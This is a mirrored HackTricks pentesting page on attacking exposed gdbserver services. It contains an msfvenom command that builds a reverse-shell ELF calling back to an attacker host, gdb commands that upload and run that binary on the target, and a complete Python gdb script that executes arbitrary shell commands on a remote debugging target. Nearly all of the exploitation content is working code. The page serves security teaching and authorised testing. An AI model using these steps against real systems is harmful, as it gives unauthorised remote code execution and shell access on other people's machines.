mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
216 lines
7.9 KiB
Markdown
216 lines
7.9 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# **Basic Information**
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**gdbserver** is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the **GNU Debugger to connect from another system**; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line.
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You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**.
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# Exploitation
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## Upload and Execute
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You can easily create an **elf backdoor with msfvenom**, upload it and execute is:
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```bash
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# Trick shared by @B1n4rySh4d0w
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msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
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chmod +x binary.elf
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gdb binary.elf
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# Set remote debuger target
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target extended-remote 10.10.10.11:1337
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# Upload elf file
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remote put binary.elf binary.elf
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# Set remote executable file
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set remote exec-file /home/user/binary.elf
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# Execute reverse shell executable
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run
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# You should get your reverse-shell
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```
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## Execute arbitrary commands
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There is another way to **make the debugger execute arbitrary commands via a python custom script taken from** [**here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.**
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```bash
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# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
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target extended-remote 192.168.1.4:2345
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# Load our custom gdb command `rcmd`.
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source ./remote-cmd.py
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# Change to a trusty binary and run it to load it
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set remote exec-file /bin/bash
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r
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# Run until a point where libc has been loaded on the remote process, e.g. start of main().
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tb main
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r
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# Run the remote command, e.g. `ls`.
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rcmd ls
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```
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First of all **create locally this script**:
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{% code title="remote-cmd.py" %}
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```python
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#!/usr/bin/env python3
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import gdb
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import re
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import traceback
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import uuid
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class RemoteCmd(gdb.Command):
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def __init__(self):
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self.addresses = {}
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self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
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gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
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gdb.execute("set detach-on-fork off")
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gdb.execute("set follow-fork-mode parent")
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gdb.execute("set max-value-size unlimited")
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gdb.execute("set pagination off")
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gdb.execute("set print elements 0")
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gdb.execute("set print repeats 0")
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super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
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def preload(self):
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for symbol in [
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"close",
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"execl",
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"fork",
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"free",
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"lseek",
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"malloc",
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"open",
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"read",
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]:
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self.load(symbol)
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def load(self, symbol):
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if symbol not in self.addresses:
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address_string = gdb.execute(f"info address {symbol}", to_string=True)
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match = re.match(
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f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
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)
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if match and len(match.groups()) > 0:
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self.addresses[symbol] = match.groups()[0]
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else:
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raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
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return self.addresses[symbol]
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def output(self):
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# From `fcntl-linux.h`
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O_RDONLY = 0
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gdb.execute(
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f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
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)
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# From `stdio.h`
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SEEK_SET = 0
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SEEK_END = 2
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gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
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gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
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if int(gdb.convenience_variable("len")) <= 0:
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gdb.write("No output was captured.")
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return
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gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
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gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
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gdb.execute('printf "%s\\n", (char*) $mem')
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gdb.execute(f'call (int){self.load("close")}($fd)')
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gdb.execute(f'call (int){self.load("free")}($mem)')
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def invoke(self, arg, from_tty):
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try:
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self.preload()
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is_auto_solib_add = gdb.parameter("auto-solib-add")
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gdb.execute("set auto-solib-add off")
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parent_inferior = gdb.selected_inferior()
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gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
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child_pid = gdb.convenience_variable("child_pid")
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child_inferior = list(
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filter(lambda x: x.pid == child_pid, gdb.inferiors())
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)[0]
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gdb.execute(f"inferior {child_inferior.num}")
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try:
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gdb.execute(
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f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
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)
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except gdb.error as e:
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if (
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"The program being debugged exited while in a function called from GDB"
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in str(e)
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):
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pass
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else:
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raise e
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finally:
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gdb.execute(f"inferior {parent_inferior.num}")
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gdb.execute(f"remove-inferiors {child_inferior.num}")
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self.output()
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except Exception as e:
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gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
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raise e
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finally:
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gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
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RemoteCmd()
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```
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{% endcode %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
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</details>
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